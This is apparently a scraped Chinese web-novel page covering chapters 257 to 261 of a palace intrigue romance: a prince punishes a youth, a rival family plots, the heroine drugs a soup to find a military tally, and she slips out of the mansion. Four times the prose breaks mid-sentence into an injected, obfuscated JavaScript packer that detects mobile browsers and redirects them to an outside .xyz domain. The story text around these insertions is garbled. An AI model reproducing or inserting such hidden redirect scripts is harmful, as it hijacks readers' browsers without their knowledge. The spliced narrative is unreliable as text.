王墨兴高采烈地穿过草地,清朗的少年音打破了林间的宁静,带着一丝急切的讨好:“姐夫!姐夫!” 萧凌川正侧头与姜姝宁低语,闻声被打断,脸上那一点难得的柔和瞬间冻结成冰。 他转过头,一双深不见底的眸子带着审视和不悦,落在了这个对他而言有些陌生的少年身上。 那目光犹如实质的寒刃,刮得王墨心头一跳。 “你是哪位?”萧凌川的声音平淡,却透着一股拒人于千里之外的冷漠。 王墨被他看得有些发怵,但一想到姜瑶真说的姐姐如何受宠,他又挺直了腰杆,脸上堆起热情的笑:“姐夫不记得我了?我是王墨啊!我姐姐王碧珊是您的侧妃!” 他说着,好奇的目光越过萧凌川,投向他身前那道纤细的身影。 女子戴着一顶白纱帷帽,身形窈窕,看不清容貌,但那通身的气派,却让他心生向往。 他理所当然地认为这便是自己的姐姐,歪着头亲热地问道:“姐姐,是你吗?” 帷帽下的姜姝宁浑身一僵,不知该如何回应。 萧凌川的脸色彻底沉了下来,他盯着王墨,声音里裹着不加掩饰的厌恶:“往后不许你叫本王姐夫,只能叫王爷,或者景王殿下!” “另外,”他视线冷得像冰,“这不是你姐姐!” “不是姐姐?”王墨表情僵在脸上,心底既失望,又生出一股恼意。 他小声嘟囔着,不死心地追问,“那是姐……王爷的其他侧妃咯?能否告知,是哪位侧妃?” 他心里盘算着,就算不是他的嫡姐王碧珊,能知道景王爷现在到底宠着哪个女人也是好的。 这可是天大的消息,回去告诉父亲和母亲,至少能让他们知道,哪个门阀的女儿是姐姐眼下最大的竞争对手,也好早做防备。 这不知死活的探问彻底点燃了萧凌川的怒火。 他眼中戾气翻涌,像是领地被侵犯的猛兽,厉声喝道:“与你何干?还不快滚!” 一声“滚”字,带着内力,震得王墨耳膜嗡嗡作响。 他脸色煞白,下意识地后退了两步。 “王爷。” 就在这时,一只柔软的手轻轻覆在了萧凌川紧握成拳的手背上。 姜姝宁透过面纱看到王墨那副被吓坏了的模样,到底还是有些于心不忍。 她声音温软地劝道:“别吓唬他,他只是个孩子。” 王墨眼睁睁地看着,方才还凶神恶煞、仿佛随时要将他撕碎的景王殿下,在被那女子触碰手背的一瞬间,就像一头被瞬间驯服的雄狮,周身的戾气以肉眼可见的速度消散了。 他虽然依旧面色冰冷,但那股要**的气焰却已经收敛得干干净净。 王墨震惊不已。 究竟是怎样的女子,能把这位以阴鸷狠戾闻名京城的景王爷拿捏得如此服帖? 他越想越觉得不甘心,一个大胆的念头从心底冒了出来。 他假意转身,做出要离开的样子,脚步却放得很慢。 趁着萧凌川的注意力重新回到姜姝宁身上时,他猛地蹲下,从草地上捡起一块指甲盖大小的石子,用尽全力,恶狠狠地朝着姜姝宁的帷帽掷了过去! 他倒要看看,这藏在纱帘后面的,到底是怎样一张倾国倾城的脸! 石子刚一出手,破空之声未起,萧凌川的头甚至都没回,手却快如闪电般一弹! 他将拇指上那枚墨玉扳指当成暗器,带着一股凌厉的劲风,“咻”地一声激射而出! “啊——!” 王墨发出撕心裂肺的惨叫声。 墨玉扳指精准无误地击中了他的膝盖! 他腿一软,整个人不受控制地“噗通”一声朝前跪倒在地。 可不偏不倚,他跪倒的地方,正嵌着一块被草皮掩盖的、边缘尖锐的石头。 膝盖结结实实地磕了上去,布料瞬间被鲜血染透,温热的液体汩汩而出。 剧痛从膝盖处炸开,迅速蔓延至四肢百骸。 王墨疼得眼前发黑,凄厉的惨叫声响彻了整个湖畔,惊飞了林间的飞鸟。 他的声音惊动了不远处正在亭子里品茶的王家人。 “墨儿!” 只见一位身着华贵锦缎的妇人提着裙摆,跌跌撞撞地冲了过来,身后跟着几位同样面色铁青的王家男丁。 他们一眼就看到了跪在地上,抱着膝盖痛哭流涕的王墨。 那鲜红的血顺着他的裤腿汩汩流出,将他身下的那片青草地染得触目惊心。 “我的儿啊!”王二夫人扑到儿子身边,看到那狰狞的伤口,眼前一黑,险些晕厥过去。 她哆嗦着嘴唇,抬头怒视着依旧骑在马上、神情冷漠的萧凌川,“景王殿下!这是怎么回事?您为何要对我儿下此毒手!” 跟上来的镇国将军的长子王启,脸色也极为难看。 他虽然瞧不上二房这不争气的堂弟,但王墨毕竟姓王,当着这么多人的面被景王伤成这样,打的可是整个镇国将军府的脸。 “王爷,”他强压着怒火,拱手道,“堂弟不懂事,若有冲撞之处,还请王爷看在碧珊妹妹的份上,高抬贵手。不知墨儿究竟犯了何错,竟要受此重罚?” 萧凌川冷哼一声,连眼角的余光都懒得施舍给他们。 他的声音像是淬了寒冰,没有一丝温度:“他以下犯上,意图冒犯本王,本王只是略施惩戒。没要他的命,已经是看在王家的面子上了。” “冒犯?”王墨像一只被踩了尾巴的猫,“我只是看到您,想上前来叫您一声姐夫,怎么就成了冒犯?王爷,您身边这位藏头露尾的女子究竟是谁?您就是为了她,这样对待自己的小舅子吗?” 听到这话,王二夫人的目光顿时如毒刺一般,死死地钉在戴着帷帽的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16081479|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姜姝宁身上,恨不得用眼神将那层薄纱烧穿,看看究竟是哪个狐媚子勾走了景王的心魂。 就在这时,姜瑶真也“恰好”赶到,她脸上挂着恰到好处的惊慌与焦急,快步走到王墨身边,掏出自己的手帕按住他流血不止的伤口。 “哎呀,墨表弟,你怎么样了?”她满眼心疼,随即抬头,一副泫然欲泣的模样望着萧凌川,“王爷,这其中一定是有什么误会!墨表弟他性子单纯,方才远远瞧见您与这位姑娘举止亲密,还以为是自己的姐姐,一心想着上前请安……他绝无冒犯之意啊!您是不是……错怪他了?” 她这番话,说得是滴水不漏,既“解释”了王墨的动机,又不动声色地将一盆脏水泼到了姜姝宁身上。 ——瞧见了吗?就是因为这个来路不明的女人,景王才会对自己的小舅子下此狠手。 果然,听完她的话,王家人的脸色更加难看了。 王二夫人的哭嚎声也拔高了八度:“听见没有!我儿是一片好心!你这个被猪油蒙了心的,为了个女人,就这么作践我们王家的人!我可怜的碧珊啊,她在王府里是不是也受着这女人的气?我这就进宫去找陛下评理!” “王爷。” 一直沉默不语的姜姝宁终于开了口。 她透过面纱,看到王墨那张因剧痛而扭曲的年轻脸庞,心中终究是有些不忍。 她轻轻拉了拉萧凌川的衣袖,低声道:“别跟他们吵了,他伤得不轻,还是先找大夫要紧。” 她一开口,萧凌川身上那股几乎要将人凌迟的戾气,又一次奇迹般地收敛了几分。 他往前调整了马的姿势,将姜姝宁护在怀里,为她隔绝了所有探究和怨毒的视线。 接着,冰冷的视线扫过地上哀嚎的王墨,和一旁叫嚣的王二夫人,嘴角勾起一抹极尽嘲讽的弧度。 “评理?好啊。”他慢条斯理地掸了掸衣袖上并不存在的灰尘,“正好本王也想问问镇国将军,他是如何教导出这等不知尊卑、胆敢对本王动手的东西。冲撞皇族,按律该当何罪,不如本王现在就派人去请大理寺卿来,跟你们好好论一论?” “大理寺”三字,如同一道无形的封印,瞬间让所有王家人噤若寒蝉。 他们谁都没忘记,萧修湛是如何被打入大牢的。 眼前的景王连瑞王都能送进大理寺,更别提他们日渐式微的王家了。 萧凌川却连一个多余的眼神都懒得施舍给这群跳梁小丑。 他转身,所有凛冽的杀气在触及姜姝宁的瞬间,尽数化为温存。 他握住她微凉的指尖,声音是前所未有的柔和:“我们走,别让这些腌臢东西脏了你的眼。” 说罢,他牵着她,旁若无人地穿过满脸**与不甘的王家人,自始至终,都未再看一眼地上那个因失血与恐惧而瑟瑟发抖的少年。 一场精心策划的挑衅,就此沦为一场彻头彻尾的笑话。 第258章 他的婚事,本王说了算 第二百五十八章他的婚事,本王说了算 萧凌川的身影刚一消失,压抑的怒火便在王启眼中轰然炸开。 “欺人太甚!”他咬牙切齿,“景王当真目中无人!我王家好歹与他结了姻亲,他竟敢如此嚣张!” “他心里哪还有我们王家?”王二夫人一边为儿子按着伤口,一边哭诉道,“他的魂儿早被那个妖精勾走了!我可怜的珊儿在景王府,指不定要受多少委屈!”王启冷声道:“二婶有所不知,他怀里的女子正是姜姝宁!景王被这妖女迷得团团转,也不是一天两天的事了。” “姜姝宁?” 这个名字一出,所有人的目光,瞬间齐刷刷地落在了姜瑶真身上。 姜瑶真垂下眼帘,做出了一副难以启齿、却又不得不说的为难模样:“不瞒各位……我也只是听说,将姐姐从大理寺劫走之人,正是景王殿下。方才……那身形,确实像极了姐姐。” 这番话无异于火上浇油。 “好一个景王!”王启气得怒极反笑,“公然劫狱,还敢带着**犯招摇过市!简直无耻至极!父亲当初还想靠联姻化解两家仇怨,现在看来,简直是天大的笑话!今日他欺辱墨弟的仇不报,我王家颜面何存!” 王墨忍着痛,担忧道:“可景王城府深沉,武功高强,要对付他,谈何容易?” “谁说要对付他?”王启眼中闪过一丝阴狠,“动他本人,自然不易。可要动他视若珍宝的女人……只要那妖女**,景王自然会将心思放在府中,届时碧珊堂妹才有出头之日!” 听到这话,王二夫人和王墨都附和道:“对,一定要除掉姜姝宁这个祸害!” 话音刚落,他们又下意识看向姜瑶真。 王墨主动开口:“表嫂,你不会出卖我们吧?” 姜瑶真心想:怎么会呢?我感谢你们都来不及呢! “你们不必顾虑我。我与她虽是姐妹,可她先是勾引瑞王,害他断手入狱;后又害死堂妹姜莲……此等蛇蝎心肠,我恨不能亲手了结了她!你们若能替天行道,让她不再为虎作伥,我……感激不尽。” 有了她这番话,王家人再无顾忌。 王启神色晦暗:“既然姜姝宁如此恶毒,那便给她一个教训,就当给表兄报仇了!” 王二夫人擦了擦眼角的泪,咬牙切齿道:“对,这小**若是还活着,迟早会成为咱们王家的心头大患!她一个戴罪之身,竟还敢如此嚣张地出现在人前,简直不把大邺律法放在眼里,死不足惜!” 王启眯起眼睛,阴冷地一笑:“这几日我便安排人手入景王府,只要有机会,立马下手,绝不留后患!” 姜瑶真低头,掩饰住唇角一闪而过的冷笑,随即开口道: “景王将姐姐看得比眼珠子还重,她身边还有个会武功的婢女,强行动手,只怕不易。况且,一旦闹出人命,景王追查到底,于王家反而不利。” “依王妃的意思,应当如何?”王二夫人追问道。 姜瑶真脸上浮起阴鸷之色:“我们的目的是让她失宠,只要让景王亲眼目睹她的背叛就够了,届时不用我们动手,景王也会将她弃之如敝履。此事需从长计议,务必一击即中,让她永无翻身之日!” 王二夫人连连点头:“王妃所言极是!我们先回去给墨儿治伤,再细细盘算!” 众人簇拥着王墨匆匆离去。 姜瑶真独自站在一旁,目光却久久停留在萧凌川和姜姝宁离去的方向。 她的手指无意识地绞着手帕,眼中满是嫉恨与不甘。 她能清晰感受到萧凌川对姜姝宁那毫不掩饰的护短与偏心。 那种温柔,是她从未在任何男人眼中见过的,更何况那人还是城府深沉、心思歹毒的景王。 为什么他对她只有冷酷与恶毒,却能将所有的柔情都倾注在姜姝宁身上? “姜姝宁……”她低声呢喃,声音中透着咬牙切齿的怨毒,“你倒是好命,凭什么所有人都围着你转?等着吧,我倒要看看,你还能得意到几时!” —— 回去的路上,姜姝宁能明显感觉到萧凌川心情极其愉快。 教训了王家一个少年,就让他这么高兴? 突然,萧凌川带着几分漫不经心的腔调开了口:“刚刚那个王墨,本王记得他有个庶妹?” “是,王家二房的庶女,比王墨小一岁。”姜姝宁回道。 前世她对王家诸事有过了解。 “甚好。”萧凌川的语气仿佛在决定一件微不足道的小事,“本王正愁该给你那个三弟寻一门怎样的亲事。王家这等家风,教出来的女儿想必也别有风情。便让这二房的庶女,给你三弟做妾吧。” 姜姝宁眉心猛地一跳,几乎是立刻反驳:“不可!王爷明知我们姜家与瑞王 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16081480|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 府有仇,王家是瑞王母族,怎能结下这种姻亲?” 萧凌川似乎料到她会拒绝,轻笑一声:“一个妾室而已,算什么姻亲?你也太紧张了。” 他心底却盘算得清楚:姜天泽并非姜家血脉,配个门阀庶女当妾室已是抬举。 更重要的是,他需要一个足够刁蛮的女人去缠住姜天泽,省得他对姜姝宁生出不该有的心思。 而王家,最擅长养出这种女人。 姜姝宁却不肯退让:“我们姜家重礼法,天泽尚未议定正妻,断没有先纳妾的道理。” “是吗?”萧凌川的脸色彻底沉了下来,“你是真看重礼法,还是怕你那堂弟娶了王家女,委屈了他?” “两者皆有。”姜姝宁深吸一口气,“王爷明知王家人心术不正,还想让他们的庶女给天泽做妾,岂不是毁了他?此事,我这个做姐姐的不同意,想必父亲母亲也不会同意的!” 话音刚落,箍在她腰间的手臂陡然收紧,萧凌川语气里透出危险的凉意:“你倒是真心实意地护着他这个‘弟弟’,可他未必将你当做亲姐姐!” 姜姝宁心头一震:“王爷此话何意?” “字面上的意思。”萧凌川的声音淬着冰,一字一顿道,“他的婚事,本王说了算。你与其在这里为他求情,不如回去警告他,别生出不该有的心思。否则,本王不介意亲自帮他了结!” 这充满血腥味的威胁让姜姝宁不寒而栗,又有些莫名其妙。 她还想再问,萧凌川却根本不给她机会。 他猛地掀开她的帷帽,灼热的唇便带着惩戒的意味,狠狠地碾了上来。 气息被尽数掠夺,羞愤与怒意在姜姝宁心头交织。 就在这时,不远处传来凌风和凌芜兴奋的声音:“王爷!王妃!可算找到你们了——” 声音由远及近,戛然而止。 姜姝宁趁机将他猛地推开,慌乱地整理着歪斜的帷帽,脸颊滚烫得几乎要烧起来。 这个疯子!竟敢在光天化日之下…… 而那两个不速之客,在看清自家王爷那张欲求不满、阴沉得能滴出水的脸后,瞬间僵在了原地。 凌风和凌芜惊恐地交换了一个眼神,心中同时哀嚎:完了,怎么又撞破了王爷的好事! 萧凌川缓缓回头,那目光像是要将他们生吞活剥:“你们两个,可真是会挑时间出现!” 第259章 很难拒绝她做的美食 第二百五十九章很难拒绝她做的美食 踏青这日终究是不欢而散。 因萧凌川执意要为姜天泽指婚王家庶女一事,姜姝宁与他陷入了僵持的冷战。 姜姝宁只觉得恼火。 他困着自己就算了,凭什么连姜家的事他也要横插一脚? 王家人品性和行事实在让她喜欢不起来,一想到姜天泽要和这样的人家结亲,她心里就一阵膈应。 还有,萧凌川口中的“他未必将你当做亲姐姐”究竟是什么意思? 是他想离间他们姐弟的关系,还是姜天泽当真对自己有异心? 正当她百思不得其解时,姜天泽来了。 他算准了萧凌川上朝的时辰,却仍在王府门口被侍卫拦下。 少年只凭一句话便镇住了场面:“王爷亲口允诺,我随时可以来见姐姐。你们是想让王爷做个言而无信之人吗?” 这顶帽子扣下来,再无人敢拦,他便这样一路闯进了主院。 “天泽?你怎么来了?”看到来人,姜姝宁很是惊讶。 姜天泽此时应在骊山书院,显然是特意过来的。 他跑得很快,气息还有些不稳,一双清亮的眼眸里满是焦急。 “大姐姐!”他上前,献宝似的将一个竹篮递到她面前。 篮子里,那条通体雪白的小蛇已经比上次见时长大了不少,此刻正懒洋洋地盘着身子,蛇信轻吐。 “小白很想你,我便将它带来了。”少年将竹篮递到她面前,眉目清隽,眼中是关切,“大姐姐成日被困在这王府里,想必定是很无趣。有它陪着,或许能添些乐趣。” 这般澄澈温润的眼神,如同一股清泉,瞬间便洗去了姜姝宁这两日来心中的阴霾。 她接过竹篮,愈发觉得,萧凌川那般以小人之心度君子之腹的揣测,是何等可笑。 她与天泽虽只是堂姐弟,这份情谊却远胜寻常骨肉至亲。 “你特意赶来,我正好有件事要与你说。”姜姝宁定了定神,斟酌着开口,“景王他……有意让你迎娶王家二房的庶女为妾。” 话音刚落,姜天泽脸上的笑意瞬间凝固,取而代之的是毫不掩饰的抗拒与厌恶:“我不要!” “我知你不愿,”姜姝宁叹了口气,试图安抚,“但那庶女只是为妾,并非正妻。你未来仕途……恐怕绕不开景王,此事或许只能暂且委屈。” “大姐姐!”姜天泽握住她的手,神色焦灼,“我此生只愿娶一位挚爱为妻,绝不纳妾!更不会为了仕途,让王爷随意摆布我的婚事!他此举分明是故意用王家人来恶心我们,其心可诛!” 她神色复杂地看着他。 老实说,她也觉得萧凌川此举实在匪夷所思,莫非背后有更深的图谋? 姜天泽见她沉思,忽然压低了声音,凑到她耳边:“大姐姐,我前几日从二姐姐那里,得知了一个秘密……她将瑞王殿下的虎符,给了景王。” 姜姝宁心中剧震:“此话当真?” “千真万确!那虎符乃玄铁所铸,我亲眼所见!大姐姐,景王会不会是和二姐姐达成了什么交易,需要用我的婚事来向王家示好,或是达成别的目的?” “此事……别妄下判断。”她心乱如麻,却强作镇定,“容我确认一下。” 姜天泽掩去眼底的晦暗,佯装慎重叮嘱:“大姐姐,你千万要小心,景王手段狠厉,若知道你发现了他的秘密,定不会放过你!” 姜姝宁心中微暖,郑重点头:“我会小心的。” “那就好。小白就留下来陪你,我先回去了。” 临走前,姜天泽目光沉沉地落在姜姝宁身上,那一眼,藏着太多她看不懂的执念与汹涌的情绪。 他在心中一字一顿地说道: 大姐姐,再等等我。 等我有了足够的能力,定会带你逃离这座牢笼。 往后余生,便只有我们二人。 送走姜天泽,姜姝宁在房中来回踱步。 她必须确认瑞王私兵的虎符是不是在萧凌川手上。 可萧凌川心思缜密,滴水不漏,任何直接的试探,都无异于自投罗网。 她思忖良久,终于心生一计。 她亲自去了小厨房,慢火熬了一碗安神汤,待到夜深人静,端着汤盅,走向了萧凌川的书房。 书房内灯火通明,萧凌川正蹙眉批阅着公文。 这两日冷战,他本已快按捺不住,此刻见她主动前来,深邃的眸子里闪过一丝意外。 “王爷,夜深了,喝碗安神汤吧。”姜姝宁将白玉汤碗放到他桌前,药香混合着她身上独有的馨香,瞬间萦绕在书房之内。 仿若间,像是回到了前世。 多少个他在书房的夜晚,她就这样用温热的汤水温暖他的胃的。 闻着那浓郁的香味,萧凌川食指大动。 他是很难拒绝她做的美食的。 可是…… “王妃不是还在生本王的气?这般殷勤,莫不是……”他拖长了语调,嘴角勾起一抹玩味的弧度,“在这汤里下了毒?” 姜姝宁早料到他会起疑。 她不闪不避,反而上前一步,似笑非笑地看着他,眼神带钩:“若真下了毒,王爷敢喝吗?” 萧凌川的呼吸猛地一滞。 他从未见过她这般模样,平日的温婉褪尽,此刻竟像一个勾魂摄魄的妖精,明知靠近便是深渊,却仍让人忍不住想为她沉沦。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16081481|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喉结滚动,不再言语,长臂一伸,猛地将她勾入怀中,让她坐在自己腿上。 灼热的体温透过衣料传来,烫得姜姝宁心头一颤。 “王妃给本王准备的,”他低头,鼻尖几乎蹭到她的脸颊,声音喑哑而危险,“即便是鸩毒,本王也甘之如饴。” 话音落,他端起那碗尚在温热的安神汤,一饮而尽。 安神汤的暖意顺着喉管滑入胃中,一如记忆中那般熟悉熨帖。 萧凌川下意识收紧手臂,将怀中的温香软玉拥得更紧,意识却在那甜美的香气中渐渐模糊,升起一股不真实的眩晕。 思绪仿佛被硬生生抽离了片刻。 下一瞬,他蓦地惊醒,心底警铃大作! 怀中的温香软玉依旧在,桌上,空碗尚存,公文未动。 一切都和他失去意识前一模一样。 可那份转瞬即逝的断裂感,却让他有些坐立难安。 “王爷,你怎么了?”姜姝宁关切的声音,恰到好处地将他从惊疑中拉回。 “本王方才……”他眸色深沉,话语里带着一丝探究,“好像睡过去了。” “王爷只是打了个盹,还不到半盏茶的功夫,想来是太累了。”姜姝宁从他怀里站起身,顺势端起空碗,姿态从容,“既然王爷乏了,我便不打扰,先行告退。” 她转身离开的背影没有丝毫迟疑。 而就在门扉合上的刹那,萧凌川眼中最后一丝温存也消失殆尽。 他猛地拉开抽屉,启动机关,死死盯住弹出的暗格。 所有东西都原封不动地躺在里面。 他脸上闪过一丝错愕与迷茫。 难道,方才真的只是自己太过疲累,打了个盹? 此时的姜姝宁往寝殿走去,浑身绷紧。 她在安神汤里加了让人晕厥片刻的草药,趁萧凌川失去意识的短暂时间里,偷偷开了他的暗格。 那里面,果然藏着一枚玄铁虎符。 萧凌川觊觎已久、能调动瑞王私兵的那枚虎符,姜瑶真竟然真的给了他! 姜姝宁心口发紧,他们跟前世一样,还是不可避免地纠缠在了一起。 得了好处的萧凌川,当真会如曾经承诺的那样,取走姜瑶真的性命吗? 她不敢赌。 眼下,只要能钳制住王家,萧凌川就能成功将萧修湛豢养的那些私兵为他所用。 难怪他想让姜天泽娶王家二房庶女。 在他眼中,姜家不过是他实现野心的工具,就跟前世一样。 想到这,姜姝宁神色凝重。 她不能再坐以待毙,让父亲和天泽成为萧凌川手中的棋子。 看来,是时候给崔侧妃一个答复了。 第260章 本王的神,便是自己 第二百六十章本王的神,便是自己 有的念头一旦在心底生根,便再也无法遏制。 次日天色微亮,晨雾尚未散尽,整个景王府还笼罩在一片沉寂之中。 姜姝宁换上一身婢女衣衫,甚至刻意避开了自己的贴身婢女凌芜,在柳叶的引领下,悄无声息地转进了那座名为“藏锦阁”的偏僻院落。 崔芝兰见到她时,眼中迸发出难以遏制的狂喜。 “姜姑娘!”她快步上前,一把抓住姜姝宁的手腕,声音因激动而微微发颤,“你……你可是想通了?” 姜姝宁没有立刻回答,她清冷的目光警惕地扫过四周,确认院中只有崔芝兰的贴身丫鬟在远处低头忙碌,这才将视线重新投向她,一字一顿地问:“崔侧妃,宁王殿下的计划,究竟有几分把握?” 崔芝兰将她拉到廊下石凳坐下,身体前倾,用只有两人能听见的音量,语速极快地将整个计划和盘托出: “表哥说,万事俱备,只等你点头!” “三日后便是春神祭,景王身为皇家人必须入宫参加祭典,整日都不会在府里。届时满城同庆,城门大开,守卫也会比往日松懈,正是离开的最好的时机!” “王府会采买祭祀用的东西,表哥已经安排好了一辆不起眼的马车,会混在采买车队里,将你神不知鬼不觉地送出去。到了城外,自有他的人接应。” 她顿了顿,眼中满是憧憬与希望,仿佛那日能重获自由的不是姜姝宁,而是她自己。 “他已经备好了船,会带你从水路南下,直去南阳。南阳富庶,天高皇帝远,等到了那里,换了身份,谁又能找到你?” 南阳…… 这两个字如同一颗石子,在姜姝宁死寂的心湖里投下了圈圈涟漪。 前世困于王府深宅,她曾无数次在梦里描绘过那个只在书卷中见过的江南水乡。 小桥流水,烟雨朦胧,青石板路被雨水冲刷得油亮,空气里满是潮湿的水汽和芬芳的花香。 没有这四四方方的王府,没有高高的宫墙,更没有萧凌川那如影随形的阴影。 那是一个可以让她自由呼吸的地方。 “那你呢?”姜姝宁从那片刻的遐思中抽离,看向崔芝兰,“你不跟我们一起走吗?” 崔芝兰的眼神黯淡了一瞬,随即摇了摇头,眸光却很坚定:“你无需担心我。等你们成功离开,表哥自然会派人来将我接走。我一个不受宠的侧妃,在府里本就无足轻重,王爷怕是都懒得强留。若我跟你们一起走,反倒会让景王一下子就猜到此事和表哥有关。届时,怕是会牵连崔家和姑母。” 姜姝宁心中一凛,点头道:“你说的对,我们行事必须万分小心,绝对不能连累荣太妃娘娘和崔家。” 崔芝兰用力握住她的手,眼中满是真挚的期盼:“姜姐姐,表哥知道你愿意和他一起离开王府,一定会很高兴的!我从未……从未见过表哥对一个女子如此上心。你一定不要辜负他的心意!” 萧怀瑾的心意…… 姜姝宁垂下眼帘,长长的睫毛掩盖住眼底翻涌的复杂情绪。 她感激萧怀瑾的援手,但她此刻心中所想的,唯有逃离与复仇,再也容不下任何风花雪月。 “我明白。”她轻声应道,声音里听不出喜怒。 约定好一切,姜姝宁便匆匆离去,不敢多做停留。 回到主院寝殿,关上房门的那一刻,姜姝宁紧绷的脊背才稍稍松懈下来。 南阳。 自由。 这两个词像是带着魔力的咒语,在她脑海中反复回响,激起一阵阵战栗。 有那么一瞬间,她几乎要被这虚幻的希望冲昏头脑,以为自己已经踏上了那艘驶向江南的船。 但她很快便冷静下来,计划听起来天衣无缝,可执行起来,但凡一步走错,便是万劫不复。 最大的变数,就是萧凌川。 那个男人心思之深沉,手段之狠戾,她比任何人都清楚。 想要在他的眼皮子底下金蝉脱壳,无异于登天。 三日后的春神祭,是她唯一的机会。 她必须确保那一日,萧凌川绝对不会在王府之中。 晚膳时分,萧凌川踏入房中,身上还带着几分室外的凉气。 他见姜姝宁坐在桌边,漫不经心地拨弄着碗里的米饭,便走过去,从身后环住她的腰,下巴搁在她的肩窝。 “在想什么?”他温热的气息拂过她的耳畔,带着一股熟悉的、让她毛骨悚然的侵略感。 姜姝宁的身体僵硬了一瞬,随即放松下来,侧过脸看着他:“我在想, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16081482|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三日后便是春神祭了,不知王爷那日有何安排?” 萧凌川闻言,懒洋洋地收紧了手臂,将她整个人圈在怀里,声音里带着一丝不以为然的笑意:“本王不信神鬼,与其去宫里做那种无聊的祭祀,不如在府里陪你。” 姜姝宁眉心一跳。 她强压下心头翻涌的情绪,转过身,仰头望着他,一双清亮的眸子里蓄满了刻意装出来的真诚与恳切。 “王爷怎会不信神鬼呢?我虽然从前也不信,但如今深信不疑。若这世上没有神鬼,我们又怎会重生?” 她刻意咬重了“重生”二字,果然看到萧凌川的眼神微微一变。 “依我看,王爷还是去宫里和那些高僧一起祈福吧。”她伸手,佯装整理他的衣领,神色温柔,“妾身听说,春神能保佑大邺风调雨顺,百姓收成好。王爷将来是要问鼎天下的,也要让大邺的百姓看到王爷的诚心,不是吗?” 萧凌川没有说话,只是目不转睛地看着她。 那双深不见底的黑眸,像两个幽暗的漩涡,要将她的灵魂都吸进去。 他的目光太过锐利,仿佛能穿透她的皮肉,看清她心底最深处的秘密。 姜姝宁被他看得头皮发麻,后背沁出一层细密的冷汗,几乎要维持不住脸上的镇定。 就在她差点破功时,他忽然笑了。 他抬起手,修长的手指轻抚过她的脸颊,指腹带着薄茧,摩挲着她细腻的肌肤,带来一阵战栗。 “那本王就听王妃的,那日去宫里祈福。” 姜姝宁悬着的心,终于落回了原处。 “不过,”他顿了顿,目光变得意味深长,带着一种睥睨众生的狂傲,“本王从 不信鬼神,本王的神,便是自己。” 这句过分狂妄自大的话,像一记重锤击打在姜姝宁的心口上,震得她几乎喘不过气来。 一个将自己奉为神明的人,怎会在意凡人的悲欢离合? 在他眼中,众生皆为蝼蚁。 姜姝宁瞬间洞悉了他对自己的执念。 她这个同样窥见过生死轮回,跳出他掌控的异数,是他唯我独尊的世界里,出现的另一个“同类”。 与其说他对她的感情是爱欲,不如说是一个神祇对另一个神祇最原始的征服与吞噬欲。 第261章 顺利出府 第二百六十一章顺利出府 三日后,春神祭如约而至。 萧凌川一早便奉旨入宫,偌大的王府内只剩仆人们忙碌的身影,为祭祀做着最后的准备。 姜姝宁站在主院的窗前,掌心因紧张而微微出汗。 她借口支开凌芜,让她去帮管家的忙。 凌芜临走前,眼中闪过一丝犹豫,有些欲言又止,但默默退出了院子。 门扉合上的刹那,姜姝宁的心跳得像擂鼓,她迅速换上崔芝兰为她备好的男装,站在窗边,屏息凝神,倾听着远处传来的车马声。 不多时,一道身影悄无声息地出现在窗外。 那是个混在采买车队中的商贩,头戴破旧的斗笠,低声唤道:“姜姑娘,小人是宁王派来接应您的人!时候不早了,速速随我离开!” 他的声音虽低,却透着一股不容置疑的急迫。 姜姝宁没有半分迟疑,动作轻巧地翻窗而出。 她跟着商贩来到一辆停在偏僻角落的空马车旁。 商贩掀开一块蒙布,露出一只粗糙的木箱,低声道:“姜姑娘,委屈您躲在这箱子里,才能通过门口的检查。” 她沉声道:“无妨,有劳大哥。” 说罢,她猫腰钻进狭窄的木箱,粗糙的木板硌得她肩膀生疼,箱内空气闷热,夹杂着木屑的刺鼻气味。 她蜷缩在黑暗中,指尖紧扣住衣角,耳边只剩自己擂鼓般的心跳。 商贩盖上箱盖,推着马车向王府大门走去。 车轮碾过石板路的咯吱声,像一把钝刀,一下下刮着姜姝宁的神经。 